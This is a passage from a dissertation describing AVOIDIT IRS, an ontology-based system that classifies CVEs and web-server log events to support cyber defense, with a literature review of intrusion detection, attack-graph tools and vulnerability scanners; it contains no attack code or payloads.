was used to extract network information over an allotted timeframe as input to the oneclass SVM classifier. Although only five of TCPSTAT parameters were used, Tran
achieved a seventy-one percent (71%) detection rate, and only twenty (20) false alarms
per day.
Mill [36] extended the SVM architecture to include two new implementations. The
training datasets were partitioned and used to train SVMs. In the TreeSVM
implementation, the results of the training on the first subset are used to train the next
subset. A single set of SVMs result from this partitioning. In the ArraySVM
implementation, the SVMs that were trained on each partition were not combined, but
instead placed in an array and applied to all the input data. The SVM that produced the
greatest response to the input data-point was used to classify it.
Fink et al. [37] proposed a toolkit for the detection of complex cyber threats using
machine learning and crowdsourcing. This proposed system enables a user feedback
mechanism, where the feedback is analyzed with machine learning capabilities, providing
a cooperation loop with user feedback and automated threat detection. Fink et al. [37]
presents novel work to create a community to fight cyber threats in the form of website
scams and cross-site request forgery. In defending against website scams, Fink et al. [37]
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developed a host analyzer that incorporated analysis of website statistics in an attempt to
locate sites that potentially pose as a security threat. This work is formulated relative to
taking the use of public knowledge to disperse cyber attack information regarding
malicious sites.
2.5

Threat Modeling

Topological Vulnerability Analysis (TVA)
Jajodia and Noel [38] proposed a novel way of implementing evolved attack graphs
for advanced cyber attack modeling, analysis, and visualization using a topological
vulnerability analysis (TVA) project. The TVA is able to model, network and software
configurations, along with their vulnerabilities, as well as the connection to the
vulnerable services. This enables the capability of matching preexisting modeled exploits
to simulate blended attacks. Jajodia and Noel [38] TVA attack graphs can identify critical
vulnerabilities and provide solutions to defend network assets. Further, vulnerability
metrics from CVSS were filtered through TVA to provide a metric to compare the risk
mitigation options toward maximizing security and minimizing costs.
Attack Graph Evaluation
Xie et al. [39] proposed a two-layer attack graph to thwart inside malicious attackers
from attacking the network. The upper layer is the host access graph and the lower layer
is the host-pair attack graph. Xie et al. [39] proposed this method to be rational using the
host-central model wherein the attacker has used stepping stones to obtain user or root
level access to the network, which would decrease the computation time in computing an
attack graph.
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Xie et al. [39] utilize host-pair attack, and host access graphs are generated using the
probability of obtaining user and root privileges through the structure of the graphs in
every host-pair attack graph, then redrawn to obtain a host access graph. The host access
graph and the color matrixes in a gray scale format are used as the method to generate a
visual representation. The inside hosts are analyzed to determine if an attack has
transpired via user and root level privileges, where the adjacency matrix is used to
evaluate network security.
NetSPA
Inglos et al. [40] proposed the multiple-requisite graph tool NetSPA, which imports
data from multiple sources to autonomously compute reachability for a given host to
connect to open ports. NetSPA is able to generate attack graph to analyze 250 actual
hosts and 50,000 simulated hosts. NetSPA uses a matrix to determine the reachability of a
network using typical information of hosts, IP addresses, open port number, and protocol.
Once the reachability is determined using reverse reachability (i.e., for a given interface,
exit nodes and walk the chain backwards), the attack graph was constructed, followed by
the computed suggested remediation procedures.
Parameters from the host interface (ip address, port number, and protocol) were used
to construct attack graphs. NetSPA constructs attack graphs on a breadth-first technique
and uses a method to model reachability using tuples of the form [source IP -> target IP:
portnum/protocol]. The maximum number of nodes in an MP graph is linearly related to
the source data. The graphs are generated by utilizing a collapsed reachability matrix as
input. Using the collapsed reachability matrix and providing reachability groups,
drastically reduces the cost of computing the reachability matrix. NetSPA uses graphviz
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to visualize the graphs. Inglos et al. [40] recognized the need to improve the graph
visualization aspect of this work. The properties analyzed are firewall settings of inbound
and outbound traffic. Implementation of the properties was done by grouping host and
firewalls and using firewall rulesets. NetSPA provides recommendations through the
computation of individual prerequisite nodes in a graph to determine the vulnerabilities of
concern to prevent the attack from satisfying the prerequisite, along with states the attack
cannot reach. The method used to evaluate this approach involves testing 250 actual hosts
and 50,000 simulated hosts. The results show graph generation in a suitable time frame
and linearly scales relative to the input.
NetSPA Extended
Inglos et al. [41] proposed a novel way of modeling network attacks, as well as
simple countermeasures, of the adversary. This paper is a continuation of previous work
of the NetSPA attack graph, which has been used to analyze 3,000 actual hosts and
50,000 simulated hosts. NetSPA uses a matrix to determine the reachability of a network
using typical information of hosts, IP addresses , open port number, and protocol. Once
the reachability is determined using reverse reachability (i.e. for a given interface exit
nodes and walk the chain backwards), the attack graph is constructed, followed by the
computed suggested remediation procedures. Inglos et al. [41] work mainly utilizes
rulesets of firewalls, i.e., those of personal and the initial border network based firewall.
In this work, no specific attack was used in experimentation, but a scan of the network to
uncover client side vulnerabilities was conducted. The researchers utilized the I – K
matrix to discover the reachability of a network prone to an attack. This improved work
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was able to scan more than 40,000 simulated hosts, where analyses of these hosts were
done in less than two minutes.
NAVIGATOR
Chu et al. [42] proposed the visualization tool called NAVIGATOR, which is an
improved tool from the previous work of NetSPA and GARNET, which is designed to
depict the current state of the system for future security planning. NAVIGATOR builds
upon GARNET, which utilizes the strip tree algorithm to process the grouping of hosts.
NAVIGATOR is built using Java with a C++ engine for calculating attack graphs and
reachability. The improvement in NAVIGATOR from its predecessor has given it the
ability to represent client site and trust relationship exploits, as well as view the
infrastructure devices and network topology with zooming features for an in-depth
analysis. NAVIGATOR provides recommendation sets, as well as proposed scenarios to
determine the impact the recommendation may have on the system.
Danforth
Danforth [43] proposed an efficient rule-based approach for generating attack graphs
through aggregating individual attacks into abstract classes, as well as clustering identical
machines to reduce visual complexity. This work takes shape from a biology immune
system perspective, where the aspiration is to develop a system to recognize the attack
and propose a healing solution. The host related information is used to construct the
attack graphs. The graphs are constructed and clustering is used to minimize the attack
graphs for improved visualization. Danforth [43] uses the expert system Java Expert
System Shell (JESS) to generate the attack graph and dot from the Graphviz project is
used for graph visualization. The properties assessed are based on the abstract (attack)
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classes of the networks. Danforth does not provide direct recommendation, but provides
what-if scenarios relative to mitigation techniques for an administrator to gain insight
when potential vulnerabilities are within the system. Danforth evaluates this work using
986 hosts.
Cheng et al.
Cheng et al. [44] proposed a compression technique for representing attack graphs
using reference encoding. A Jaccard similarity coefficient is utilized to determine the
degree of similarity between vulnerabilities on various hosts. Host connectivity and
known vulnerabilities are used as parameter input for attack graph construction. Attack
graphs are used to visualize attack paths. A hierarchical approach is used to generate the
attack graph. There are no specific tools highlighted for construction. The properties that
are analyzed are the similarity between the hosts. Recommendation techniques are not
presented for improving network security. Cheng et al. [44] conducted simulation using
BRITE and GT-ITM; followed by injecting vulnerability information into the generated
graphs. Results indicate 263 topological graphs generated with host ranging from 60 to
1,023.
Williams et al.
Williams et al. [45] proposed a new cascading approach to the visualization of attack
graph display. This improved work presents a simplified layout of the previous MP graph
by collapsing the state nodes, as well as omitting the prerequisite and vulnerability
instances. This improved visualization provides either general reachability or the view of
the attack graph in which to view the interaction with the network. The former depicts the
ingoing and outgoing reachability and corresponding edges that can be reached or reach
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the selected node. The latter depicts the edges indicating the shortest attack paths between
the sets of nodes.
Williams et al. [45] presented an efficient engine that generates attack graphs step-bystep and provides an interactive opportunity to trace the attacker's path. The computation
module is written in C++ for speed, while the visualization module is implemented in
Java, which loads the NetSPA engine as a library. It is targeted to the analyses of trust
relationships the attacker exploits at each step. This work was evaluated using a small
network containing 250 hosts, 3,777 ports, and over 8,500 vulnerabilities.
2.6

Game Theory
In this section, an overview of game theory is provided to capture the essence of

game models, as well as relevant research systems developed to capture the attacker and
defender exchanges. There is considerable research involving the use of game theory and
network security. Game theory demonstrates an advantage of modeling the interactions
between attackers and defenders. He et al. [46] proposed a novel Game Theoretical
Attack-Defense Model (GTADM), which quantifies the probability of threats in order to
construct a risk assessment framework. The focus is on the computation of the attack
probability according to the cost-benefit of the attacker and the defender, and defined
relevant metrics to quantify the payoff matrix.
Alpcan and Basar [47] presented a game theoretic analysis of intrusion detection in an
access control environment. Several common metrics were used to help identify the
performance of the Intrusion Detection System. Using the metrics they provided,
simulation was used to determine the costs and actions of the attacker and IDS.
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In this research, game theory and game model development research is used as the
basis to disseminate attacker and defender strategy spaces for defenses within an
organization. Game models are developed and stored in relationship to web based attacks.
2.7

Current Technologies
In this section, current research related technologies are presented to evaluate open

source static and dynamic code analysis tools with sql injection, cross site scripting, and
file inclusion web attacks. These tools are used within this research to analyze key
features of capturing internal and external attack information, as well as how the
information is presented to the system administrator.
AMNESIA
Halfond et al. [48] developed the AMNESIA project towards the prevention of SQL
Injection attack by combining static analysis and runtime monitoring. The static portion
of AMNESIA uses program analysis to build a model of the legitimate queries that are
potentially generated by the application. The dynamic portion of AMNESIA ensures
compliance with the static modeled portion by monitoring the dynamically generating
queries during runtime for a successful match. In the event the dynamically generated
queries fail validation, the query is reframed from execution. This model assists with
preventing SQL injection attacks and provides a feedback mechanism for notification.
PANACEA
Bolzoni et al. [49] proposed a method to automatically and systematically classify
detected attacks for anomaly-based intrusion detection systems. This work provided the
ability to extract information from an attack, compute similarities of attack data
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information, and classify it accordingly respectively either autonomous or semiautonomous.
STRANGER
Stranger [50] is a python based tool, which uses a Pixy front-end. It is a static
vulnerability analysis tool for PHP that performs taint analysis to identify potentially
vulnerable sinks (sinks that depend on external inputs) relative to SQL injection, crosssite scripting, and malicious file execution attacks. Stranger generates dependency graphs
that show how the external inputs flow into the sinks. Stranger then performs string
analysis on the dependency graphs. Stranger also uses the automata package MONA tool
to store the automata constructed during string analysis symbolically.
Stranger takes a PHP web application as input and outputs potential vulnerabilities, as
well as a model dependency graph. Stranger works by modeling the PHP program and
detecting cases where user generated input gets forwarded on to the database.
Unfortunately, at times Stranger is unable to completely model certain applications, but
provides a good foundation for developers to begin improvement during code review
sessions.
In this dissertation the Stranger tool is highlighted to compare with AVOIDIT IRS,
considering there were a limited number of open-source tools available to conduct
research. The Stanger tool is used against large projects, as well as AVOIDIT IRS, to
capture the results from both tools for analysis. The PHP web applications used were all
open source. The tools used were a common blogging management tool WordPress, a
content management tool Joomla, and a project management tool dotProject. Stranger
completed scanning the Joomla application in approximately ten minutes without any
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errors. Stranger found zero SQLI vulnerabilities, eighty-three XSS vulnerabilities, and
over two hundred more potential file inclusion issues, which all seem to be related to
unmodeled functions. Scanning the dotProject, Stranger took approximately thirty
minutes after a few attempts. It located seven events tagged as SQLI vulnerabilities,
mainly within "organizer.php" accepting values without strong sanitation. Scanning the
DotProject also uncovered over four hundred XSS vulnerabilities and two hundred file
inclusion issues. Figure 1 depicts the dotProject being modeled using the Stranger tool.

Figure 1: Example dotProject Modeled Graph
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Finally, scanning the WordPress application took a considerable amount of time and
was unable to complete the scan due to the resource capacity. Stranger discovered zero
SQLI vulnerabilities, fifty XSS vulnerabilities, and fifty file inclusion issues. Of those
investigated, unmodeled functions and parameters specified in protected configuration
files dominated these findings. Figure 2 captures STRANGER’s inability to fully model
the WordPress application.

Figure 2: Example WordPress Unmodeled Graph

CVE CHECKER
CVE Checker [50] is a vulnerability scanner like tool written in C that discovers
installed versions of software on a system in an attempt to locate CVEs associated to
potential identified software targets. The CVE Checker scans and reports the installed
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software on a system and pulls the CVEs from the NIST repository. CVE Checker does
not provide security for the system it is installed on, but acts as a notification tool to warn
a user of new vulnerabilities that arise.
CVE Checker is utilized as a command line tool to identify software based on simple
rules added through community involvement. It requires libxslt to convert the input XML
file from the national vulnerability database into comma separated values for easy
importation into a sqlite3 database. Figure 3 depicts CVE Checker capturing software
loaded on the system.

Figure 3: CVE Checker Software

Once the CVE Checker has identified the software and associated CVEs have been
imported into the database, the CVE Checker has the ability to notify the user of potential
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areas of concern from imported CVEs. Figure 4 highlights the identified CVEs associated
to an installed Java SE package.

Figure 4: CVE Checker Vulnerability Notification

In this dissertation the CVE Checker tool is presented to compare with AVOIDIT IRS,
wherein the CVE Checker captures the CVE related information for notification purposes
in an open source fashion. Given the facts the CVE Checker is written in C and is a
command line tool, it notifies the user of all CVE vulnerability information associated to
installed software in less than 10 seconds on a Ubuntu 4GB of RAM virtual machine in
Parellels. The CVE Checker can be used for small organizations, as well as AVOIDIT
IRS, to capture CVE related information from an installed system. The CVE Checker
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differs from the AVOIDIT IRS, where the CVE Checker is only a notification tool and
the AVOIDIT IRS classifies the CVEs and proposes a defense strategy.
In this chapter, attack and vulnerability taxonomies were discussed, as well as
ontology and mining algorithm related research. We also provided game theory and
attack graph related research, followed by current technologies evaluated within this
research. These areas of research encompass the motivation of the development of the
AVOIDIT IRS.
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3.

PROPOSED METHODOLOGY

This chapter presents the proposed methodology used to develop the AVOIDIT Issue
Resolution System (AIRS). AIRS uses the output of application monitoring, third party
vulnerability data collection, and asset risk assessment as the a priori knowledge to assist
the network administrator to make an educated decision on how to handle a potential
attack. It further provides the ability to retrieve game decision models associated to the
identified attack. The first step in the development of the AIRS was to extract
information CVEs from the National Vulnerability Database, as the initial corpus. The
use of web logs gain knowledge of an application breaches. Knowledge engineering
using security experts was applied to the corpus to determine rules and information
formatting for attack vector classification.
3.1

AVOIDIT IRS Architecture and Information Extraction Process
This dissertation focuses on the development of an ontology based issue resolution

system (AIRS) with the ability to classify attack vector related information using an
attack taxonomy [1B]. The aim of this AIRS takes the capacity of a knowledge base to
store and retrieve attack information for cyber attack analysis using a holistic approach.
In this holistic approach the AIRS is one component of GIDA, acting as the facilitator of
attack knowledge. In this dissertation attention is placed on AIRS’s ability to retrieve
game decision models associated to the identified attack. Figure 5 highlights the game
inspired defense architecture and how AIRS is incorporated.

AIRS
Figure 5: Game Inspired Defense Architecture (GIDA)

GIDA aims to protect target systems and networks employing game theoretic defense
strategies and executing the same for securing against probable and committed attacks.
GIDA assesses candidate game models for a particular attack identified by AIRS and
executes the optimal game model. As depicted in figure 5, the network is connected to
the Internet via sensors and actuators. Sensors are tools such as intrusion detection
systems, log parsers, etc. used to analyze traffic associated to monitored systems and
applications. Actuators are tools such as firewalls, switches, routers, etc., which forward
traffic accordingly, pursuant to rules identified, for defense measures. The Honeypot is
incorporated in GIDA to transfer suspicious behavior for further analysis of attacker
interactions with pseudo systems. GIDA uses AIRS to apprise itself of the various
characteristics of a potential attack. The GIDA control unit has the capacity to capture
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input from information received and take an appropriate action for defense or engage
AIRS for supplemental attack identification and game selection.
AIRS will increase organizational awareness of cyber attacks and how to
appropriately correlate defenses. The use of web logs will be used to gain knowledge of
an application breach. Common Vulnerability Exposures (CVEs) are used to capture
vulnerabilities and associated information for potential solutions within the repository.
IDS log files will be used to capture packet related signatures. An event correlation
algorithm will be implemented to identify frequent patterns and sequential events from
the various sources identified. The algorithm uses a depth first search to construct the
trees based on classified attack vector information from previous trees exhibiting the
parent-child node relationship. This provides a comprehensive tool used to investigate
anomalous activity in a local network setting related to the patterns of attack inception.
The accuracy of attack classification will improve an organization’s attack defense reuse,
as the knowledge of cyber attacks increase. Figure 6 shows the overall structure of the
AVOIDIT IRS.
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Figure 6: AVOIDIT IRS Architecture

1. Acquire Attack data from test network.
Information is gathered from a test network via an intrusion detection system,
firewall, or directly from application level logs.
2. MS Log Parser Tool [51] and ApacheLogIterator [52]
Log data is capable of recording important events, which should be analyzed on
an ongoing basis, consistent with the monitoring of other key centralized security
controls [53]. MS Log Parser [51] tool was developed to parse recorded events
that have occurred in a system and/or application. It contains a core SQL engine
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facilitating the use of data repository for further analysis. MS Log Parser enables
turning large amounts unstructured text into a form (in a database) that can be
manipulated to understand patterns, relationships, and meanings by a computer
agent. ApacheLogIterator [52] is a simple Apache log file parser, which extends
the SPLFileObject php class. The ApacheLogIterator uses this functionality to
simply read the raw data from the file into a structured array.
2. Acquire Attack data from vulnerability databases
Information can also be gathered from knowledge bodies such as CERT and CVE.
Attack vector information is retrieved from external repositories for classification
by the AVOIDIT Algorithm.
3. Classify via AVOIDIT Algorithm
Utilizing the AVOIDIT taxonomy, a PHP based application is used to retrieve
parsed information captured from the log parser tool. The classification of attack
details will be used within a knowledge base setting to extract defense strategies
through terms and relations from a large corpus.
4. Attack Vector Store
Attack Vector Store begins the transition to directly communicate with the
knowledge base. The knowledge base will allow an organization to learn from
past, present, and future attacks.
5. Ontology Processing
An ontology is an explicit specification of concepts related to a specific domain
and the relationships amongst those concepts to create an organized knowledge
base. Ontology is a common way to organize knowledge and involves the
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description of objects and relationships [16]. The ontology processing will capture
attack details into the knowledge base to begin attack analysis.
6. Content Analysis and Extraction
Content analysis and extraction will utilize the information within the knowledge
repository to begin concept association in an organization.
7. Ontology Relationship
AVOIDIT IRS ontology is the representation of attack concepts (AVOIDIT) as it
relates to capturing attack data within a knowledge base and its association to
cyber security within an organization. Figure 5 highlights AVOIDIT’s use within
the knowledge base. The complete ontology relationship enables communication
for all functional areas within the organization to become resilient in combating
security threats.
8. Issue Resolution Communication Output via User Interface
The complete issue resolution application is used to provide a heuristic to cyber
security breaches within an organization. The user interface will provide a concise
central location for the organization to capture and disseminate attack details for
defense resolutions.

This research will measure precision in multiple forms. A correct classification of an
attack vector and its associated information will be measured by AIRS’s ability to
autonomously map to an attack. In the event a node is discovered to contain no defense
for a particular attack vector, further investigation may be warranted from a security
expert or network administrator pinpointing a defense and/or complete classification in
all categories. This method involves manually classifying the attack vector details with
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aspirations of it being used for future defense. Previous work [54] has highlighted the use
of simple logistic regression classifier, trained on a hand-evaluated sample set, to
automatically classify vulnerabilities.
3.2

Information Extraction

The first step involved eliciting relevant information from security experts to identify
the vital content when assessing a cyber incident [1A]. Ten (10) security expert interviews
and questionnaires were conducted to elicit experiential knowledge. The use of knowledge
engineering was used to extract security expert knowledge to solidify concept
relationships associated to cyber incident communication. The security experts were given
separate CVEs from the National Vulnerability Database (NVD) and interviewed
regarding the important factors of a CVE and its associated connection within an
organization. Questions were asked based on the literature discussing discovery, reporting,
and countermeasures when a potential attack is discovered. Table 1 consists of the
questions that were asked to the security professionals.

Table 1. Security Expert Questionnaire

Discovery

What is the common vulnerability exposure (CVE) report number
you have selected?
Using the provided CVE report, please provide terms that are
useful when distinguishing an attack.
Does the CVE present a complete path to an attack?
Do you believe there are distinct paths to information security
compromises?
Generally, do attack paths progress from information gathering
(probes) to targeted attacks? [55]

Reporting

What pertinent data would you use in reporting a security incident?
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Table 1. Security Expert Questionnaire (Continued)

Reporting

How would you determine if the data presented in the CVE is
relevant to your organization?
What factors would you use to distinguish the level of importance
within a CVE?
What are the factors that you identify when determining a
security breach within your organization is of high importance?

Countermeasures

What managerial, organizational, and environmental factors lead
to better countermeasures within an organization? [55]
What managerial factors can reduce an attacker’s attraction
toward a targeted system? [55]
What are organizational consequences of information security
compromise? [55]

General
Questions

Are there any further details you believe should be mentioned
relating to discovering, reporting, or countering attacks?
Do you believe there is a necessity to develop a system to assist
those less familiar with security breaches?
Are there any systems you believe will assist a novice with
understanding various aspects of security breaches?
With your understanding of security, do you believe the current
security terms capture a complete picture to successfully transfer
knowledge within an organization?
Does the Ontology depicted provide an appropriate organization
of information relevant to security?

Results of the expert interviews revealed that the experts were interested in the
following categories of security incidents: (1) whether the incident involves software in
use, (2) accurately classified incident, (3) the risk factors associated to the incident, and (4)
historical performance. The highlighted categories made up the two sets of information
extraction rules. Simmons [56] utilized a similar strategy to extract pertinent information
from business reports.
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Two major rules were created to extract security incident information from the CVEs.
The rules were created in pseudo code for clarity and programmed into AIRS. The
security experts identified the classification accuracy, risk factors, whether the software is
in use, and the historical performance. The pseudo code was then programmed into AIRS
to extract information for each major rule. In order to ensure AIRS extracts useful
information, security experts who regularly analyze common vulnerability and exposures
provided their analysis of relevant information of interest. Rule 1 denotes the software
incidents and its respective cause and results if the incident is successful. Rule 2
intuitively provides the organization a high level view of the type of vulnerability
extracted from a CVE present in the vulnerable application. See Table 2 for the two sets
of extraction rules.

Table 2. CVE Information Extraction Major Rule Sets

1. A rule

for each row in the portion of the CVE from which we want to extract

to

information

identify

if the keyword is a candidate indicating software incidents within an

software

organization (e.g., Joomla, Wordpress, Drupal)

incidents

then return the keyword noun phrase
and return verb phrase immediately following the keyword and
present them software incidents (e.g. verb phrases-allow, allows)
if keyword is a verb phrase denoting cause (e.g. disabled)
then return the verb phrase and following noun phrases as reasons
if keyword is a verb phrase indicating result (e.g. read, execute,
inject, include)
then return the verb phrase and following noun phrases as results
end if
end for
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Table 2. CVE Information Extraction Major Rule Sets (Continued)

2. A rule

for each row in the portion of the CVE from which we want to extract

to

information

identify

if the keyword is a candidate indicating a vulnerability incident within an

vulnerab

organization (e.g., SQL Injection, XSS, Directory Traversal)

ility

then return the keyword phrase
and return the phrase immediately following the keyword and
present them as cyber incident
end if keyword noun phrase is software keyword (e.g. Joomla,
Wordpress, Drupal)
end if
end for

The rules identified in the above table apply information extraction methods to extract
meaningful pre- and post-conditions from the unstructured text descriptions available in a
national vulnerability database. A brief analysis of these descriptions proposes that they
follow quasi-regular patterns contained within a CVE (vulnerability [W] → in target [X]
→ allows [Y] attacker → to [Z]). In this way, the verb-noun phrases and their relations
can be extracted and classified with pre- and post-conditions predefined in a knowledge
base. Considering the highly specific descriptions presented within a CVE makes it a
great fit for applying word and entity disambiguation methods as described in [57, 58].
This will ensure that natural language variation is effectively handled and novel concepts
are identified for ontology extension.
The primary evaluation will be done using attack data from web logs, which is sent
through an analysis algorithm to determine the appropriate classification. The analysis
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algorithm consists of a frequent pattern matching algorithm, which constructs the
sequence of the complete path to an attack. We import web server instances from the log
files. Figure 7 depicts a log file being loaded into AIRS with filtered events.

Figure 7: Internal Log Server Events

Secondary evaluation will be performed by comparing CVE previous vulnerability
information to determine how well AVOIDIT classifies in comparison. Both evaluations
would be in accordance to the importance levied by high level experts. The external
repository import is presented in Figure 8.
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Figure 8: External Repository Extraction

The primary and secondary evaluations will allow a determination of the applicability
of AVOIDIT and how well it is able to capture and disseminate according to the original
requirements proposed by experts. By performing various analyses on the results, it will
be established whether the prototype tool effectively captures relevant knowledge and
whether it will effectively assist organizations with improving cyber attack awareness and
defense.
We use PHP for the custom scripting and visual representation. PHP is a free serverside HTML embedded scripting language with numerous modules. It has reliable cURL
functionality to extract and manipulate data from the Web, as well as the support for
retrieving third-party data. Using minimal code will allow third-party data to be
incorporated into the AVOIDIT IRS where PHP is used to extract and print text from
data patterns that are matched.
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3.3

AVOIDIT: A Cyber Security Taxonomy
AVOIDIT is a cyber attack taxonomy that classifies attack components by attack

vectors, operational impact, defense, informational impact, and target [23]. Traditionally,
IT communities refer to the properties of confidentiality, integrity, and availability (CIA)
to gauge the level in which the attack has impacted the target. In AVOIDIT we use the
informational impact, which incorporates CIA properties, for assessment.
A taxonomy that satisfies the mutually exclusive requirement is difficult. A solution to
this critique is to place multiple associations of an attack in a tree structure, providing a
parent child relationship that is explained below. AVOIDIT was developed to provide,
through an application, a knowledge repository schema used by a defender to classify
vectors that an attacker can use against a target. Figure 9 provides an overview of
AVOIDIT to support comprehension of each attack classification and how a variety of
attacks are represented in each category. Simmons et al. [1F] highlighted each definition
with each attack classification.
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Figure 9: AVOIDIT - A Cyber Attack Taxonomy [1F]
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AVOIDIT provides a more apparent approach to educate the defender on attack
vectors used to launch attacks. AVOIDIT classifies attacks in a tree structure, including
the allusive blended attack. Using an attack tree provides a systematic method of
characterizing a variety of attacks and enumerates the ways an attack could occur. This is
done using the cause, action, defense, analysis, and target (CADAT) process used to
classify attacks. Predecessors [8, 14] state that providing a tree-like structure is a solution
to blended attacks, but claim this particular structure can become unorganized. AVOIDIT
is proposed in a tree structure, which successfully classifies common vulnerabilities and
cyber attacks to provide defenders with in-depth information required to create defense
solutions. Each path on the attack tree represents a unique attack. Figure 10 provides
insight into how a tree structure can be converted into a searchable schema classifying a
multitude of attacks. By using a parent-child relationship, AVOIDIT displays how multistaged attacks can be captured, classified, and disseminated. Figure 10 provides a small
depiction of the initial attack vector being the parent, which is classified using a tree
structure, including the remaining classifiers, which are omitted. The secondary and
following attack vectors are used as child nodes that comprise how the attack was
successful in its exploitation. Each node contains a unique ID that helps identify the
parent and child attack vectors. This feature aids in classifying blended attacks.
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Figure 10: AVOIDIT Tree-like Structure

Once an attack is recognized, AVOIDIT uses the cause, action, defense, analysis, and
target (CADAT) process to classify attacks against a particular target. The CADAT
process consists of the following using AVOIDIT:
1. Classify the attack vector. Understand the cause in which the attack came to
fruition.
2. Classify the operational impact. The type of action conducted resulting from the
impact the attack vector enabled to take place (i.e. Trojan horse)
3. Classify the potential defense. Understand how to properly defend using
preventative and/or reactive methods to a potential attack.
4. Classify the informational impact. This step provides an analysis for reporting
purposes to what damages have or may take place once the attack is successful.
5. Classify the target to which the defense is sought. This step properly identifies the
target in which the attack seeks to compromise.
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Although, the CADAT process is not final, due to different roles having various
levels of understanding of an attack, it is a good start for research. For instance, support
personnel may log the operational impact first, prior to involving the network
administrator. The process for classifying attacks using CADAT enables the entire
organization to gain common security knowledge to become vigilant in defending against
attacks. Figure 11 depicts IRS’s ability to display the attack tree along with pertinent
classified information.

Figure 11: AIRS Tree Structure

Simmons et al. [1E] utilized the preventative anti-computer forensics framework to
provide a data fusion [59] and anomaly [60] point of view in predicting, correlating,
analyzing, and disseminating adversary actions and their impact when constructing a
complete path to an attack. Figure 12 highlights the iterative process within the PACF
framework. This process can be used within organizations to prevent the use of anticomputer forensics processes and tools.
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Figure 12: Preventative Anti-Computer Forensics (PACF) Framework

The initial phase is the acquisition phase that begins the process of information
extraction. Data is constantly analyzed in preparation for presentation. Once the
information is presented with some level of accuracy, a deterrence is implemented to
prevent future occurrences. Following the deterrence phase, we move forward with
creating a baseline of all the activities that were captured and disseminated within the
organization. We envision this framework to be an iterative process to continuously
capture information where administrators are privy to the latest information involving
probable attacks by detecting anomalies.
3.4

AVOIDIT IRS Ontological Representation
AVOIDIT IRS is developed for small and medium sized organizations to improve

communication and reuse of defenses until the potential attack has been mitigated and/or
remediated. Figure 13 provides an overview of AVOIDIT IRS ontology to support
comprehending communication flow within an organization upon attack discovery. The
objective of the security ontology is to provide knowledge representation of the most
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relevant security concepts within an organization. Gruber [61] has provided a set of
criterion to ensure best the developed ontology is useful, which are: (i) clarity, (ii)
coherence, (iii) extendibility, (iv) minimal encoding bias, and (v) minimal ontological
commitment.
AVOIDIT IRS Ontology
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People
Tools

Target(n)
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II(n)

Other
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associatedWith – who assigns a task
has/have – information needed to complete superclass. The direction is
one-way.
is – an option associated with a higher level concept.
consistOf – is the superclass concept that contains vital subclass
relationship.
approvedBy – who approves
influencedBy – the associated impact
Figure 13: AVOIDIT IRS Ontology
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Now, let us consider an organization running an online booking PHP based application
connected to a MySQL server database. An incident is discovered by the defender,
wherein an attacker is attempting to assess the MySQL server using a SQL injection
vulnerability via an online booking application. The defender is able to view the SQL
injection attempts via the web server log file. The defender uses the national vulnerability
database to see if any new incidents have been reported, however it will take the defender
a significant amount of time to discern if a fix is available.
AIRS provides an ontological representation of the cyber incident and the
communication involved to educate the defender of the current state of the system. It uses
pull technology to bring the information to the defender without having to search for
suggestive countermeasures. Continuing our example, using AIRS, the SQL Injection
vulnerability targets a vulnerability in a PHP application version 3.2, which has a defense
influenced by a high complexity. AIRS identifies that a CVE does not exist and uses
historical data to determine the defense as Block IP address, until a fix has been
established. Therefore, the defense is influenedBy the complexity of the SQL Injection
vulnerability. The complexity is also influencedBy the resources available to defend or
repair the vulnerability, pending approvalBy the sales organization. Once the AVOIDIT
portion of the ontology is populated with the necessary vulnerability information, AIRS
communicates within the entire organization for proper allocation of resources and
approvals. This offers a framework for organizational awareness and its impact when a
cyber incident has taken place. We illustrate the necessary AIRS ontology concepts using
figure 13.
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3.5

Correlating Logs and External Vulnerabilities
Prior research [7] has mentioned the need to improve security taxonomies by

classifying blended attacks. In this work I implement a frequent and sequential pattern
algorithm to solve the blended attack hurdle with taxonomies by applying attack vector
information in the taxonomy to attack graphs. I apply this analysis to log files. I also
utilize word and entity disambiguation, along with keyword searches, to retrieve and
classify pertinent CVE related information. In the event that log instances or CVEs are
not fully classified, the administrator is notified. This data is correlated with historical
data related to log entry patterns and targets associated to CVEs. In the event log or CVE
events are not autonomously linked, the administrator is notified and provided the ability
to classify manually in order to allow the system to begin correlating ambiguous
instances. Considering the massive number of CVEs, focus was placed on real world
scenarios, where a company uses a web based content management system, such as
Joomla, Wordpress, etc. Figure 14 shows how log instances are queued for classification,
as well as accepting/rejecting links to CVEs.

Figure 14: AIRS Classification and Correlation
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In prior research [1C], we conducted a preliminary experiment using CVEs from the
National Vulnerability Database for classification. The first step involved a training set of
60 positive CVEs associated with Joomla to assist with the learning process. Figure 15
depicts a CVE specific to Joomla, which describes the vulnerability information. The
algorithm was trained using a standard unigram bag of words approach. In each CVE
description, experiential knowledge was used to classify the concepts of interests from the
text relative to attack vector, operational impact, defense, informational impact, and target.

Figure 15: CVE Vulnerability Description

The second step involved a test set of 100 unique CVEs associated with Joomla and 50
random CVEs (for noise) associated with various open and closed source software. The
goal is to ensure Joomla related CVEs are correctly classified and distinguished from
irrelevant CVEs. Performing this step simulates data being pushed to the user via
AVOIDIT IRS providing specific attack vector information. Preliminary evaluation on
this minimal dataset highlighted the algorithm’s ability to correctly classify application
pertinent incidents specific to an organization. Precision was used to measure the accuracy
in which the classification algorithm was able to correctly classify attack vector
information. Precision was measured by dividing the total number of correctly classified
items by the total number of extracted items. Recall was also used to measure the
percentage of available correct information extracted. Recall highlights the algorithms
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ability to extract relevant information. Recall is the number of correctly classified items
divided by the total possible to be correctly extracted. In Table 3 the precision and recall
are computed for both the training set and test set using the classification algorithm.

Precision =

Total correctly classified
Total extracted

(1)

Recall =

Total correctly classified
Total possible to be correctly extracted

(2)

Table 3. Algorithm Precision and Recall Computation

CVEs Correctly Classified
Training

Precision

Recall

47/60

78.3%

78.3%

92/100

92%

92%

Set
Test Set

We further trained Joomla, Wordpress, and dotProject related events. After these
events have been trained and stored in the repository, as historical data, we apply our
classifier to newly discovered/imported events. Imported events are treated as probes
against the system and compared against each of the five (5) classification types, as
described in AVOIDIT above. The events are classified using pre-defined keywords, as
described above, that provides the best match (e.g., “sql injection” to “insufficient input
validation”).
Considering, it was extremely difficult to obtain a considerable number of public
attacks, the decision was made to create an automated attack environment using Selenium
and Metasploit. Selenium [62] is used as an automation tool to create automated scripts
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that allow for persistent session management, whereas Metasploit [63] is used as a
penetration testing tool. Therefore, in the remaining portion of this work, we use the
following CVEs that were associated to several attack modules in Metasploit. This
enables the ability of showing AIRS being able to associate log files with CVEs to alert
